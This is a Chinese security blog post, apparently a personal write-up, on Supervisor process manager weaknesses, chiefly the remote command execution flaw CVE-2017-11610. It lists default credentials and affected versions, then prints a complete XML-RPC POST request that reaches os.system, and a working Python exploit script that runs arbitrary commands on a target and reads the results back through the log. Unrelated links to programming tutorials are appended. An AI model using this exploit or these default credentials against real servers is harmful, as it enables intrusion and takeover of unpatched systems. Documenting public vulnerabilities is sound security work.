Supervisor服务脆弱性
[TOC]
0.supervisor缺省配置
默认配置文件路径:/etc/supervisor.conf
网站和开放端口:http://localhost:9001
sock目录:unix:////tmp/supervisor.sock
缺省账号密码:
chris/123
user/123
1.Supervisor远程命令执行漏洞分析|CVE-2017-11610
Supervisor是一个用Python写的进程管理工具,可以很方便的用来启动、重启、关闭进程;用于管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理,是 Linux 服务器管理的效率工具;
漏洞描述: 本次漏洞就出在XML-RPC接口对数据的处理上,默认情况下Supervisor并不会开启这个接口(XML-RPC 在 9001 端口上),相反的是在Supervisor的使用中,很多人喜欢利用web页面来管理,而不是使用上文中提到的supervisorctl命令行工具,使用web页面有一个方便之处,即通过简单配置,使用者可以在其他机器的浏览器上通过网址访问并控制Supervisor,省去非一定在本地配置的麻烦(例如在docker中使用Supervisor,就不用每次进入容器控制Supervisor),开启web访问的配置如下;
利用该漏洞远程POST请求,向Supervisord管理界面提交恶意数据,可以获取服务器操作权限。
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ;
利用条件:
- Supervisor版本在受影响范围内 (Supervisor version 3.1.2<= x <=Supervisor version 3.3.2)
- 已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.
- Supervisor 9001 管理端口可以被外网访问
- Supervisor 未配置密码或使用弱密码
漏洞利用: 下面举个例子:在这里利用python使用RPC协议给supervisord发一个请求,来看下RPC协议的结构和params、method分别是什么。 抓取的流量如下图:
WeiyiGeek.wirshaek
以此类推,最终的os会是链状结构最后一个方法,然后传入params值,被执行所以如果想攻击利用成功,必须找到一个调用链方法例:
supervisor.supervisord.options.warnings.linecache.os.system
采用burpsuite进行重放:
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
WeiyiGeek.burpsuite
Shell反弹:
WeiyiGeek.recv
补充思路: 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。
#!/usr/bin/env python3
#useage:exp.py http://user:[email protected]:9001 whoami
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- [Hei.Captcha] Asp.Net Core 跨平台图形验证码实现
- Asp.Net Core 3.1 获取不到Post、Put请求的内容 System.NotSupportedException Specified method is not supported
- OpenGL ES for Android 播放视频
- Centos 7 在线安装 离线安装 最新 Docker-compose 的正确姿势 实践笔记
- OpenGL ES for Android 视频缩放、旋转、平移
- OpenGL ES for Android 相机预览
- OpenGL ES for Android 相机预览适配不同分辨率的手机
- Flutter Widgets 之 Container
- Flutter Widgets 之 Row和Column
- Flutter Widgets 之 SafeArea
- Flutter Widgets 之 Wrap
- Flutter Widgets 之 Expanded和Flexible
- 可能是Asp.net Core On host、 docker、kubernetes(K8s) 配置读取的最佳实践
- Flutter Widgets 之 AnimatedContainer
- Flutter Widgets 之 Opacity 和AnimatedOpacity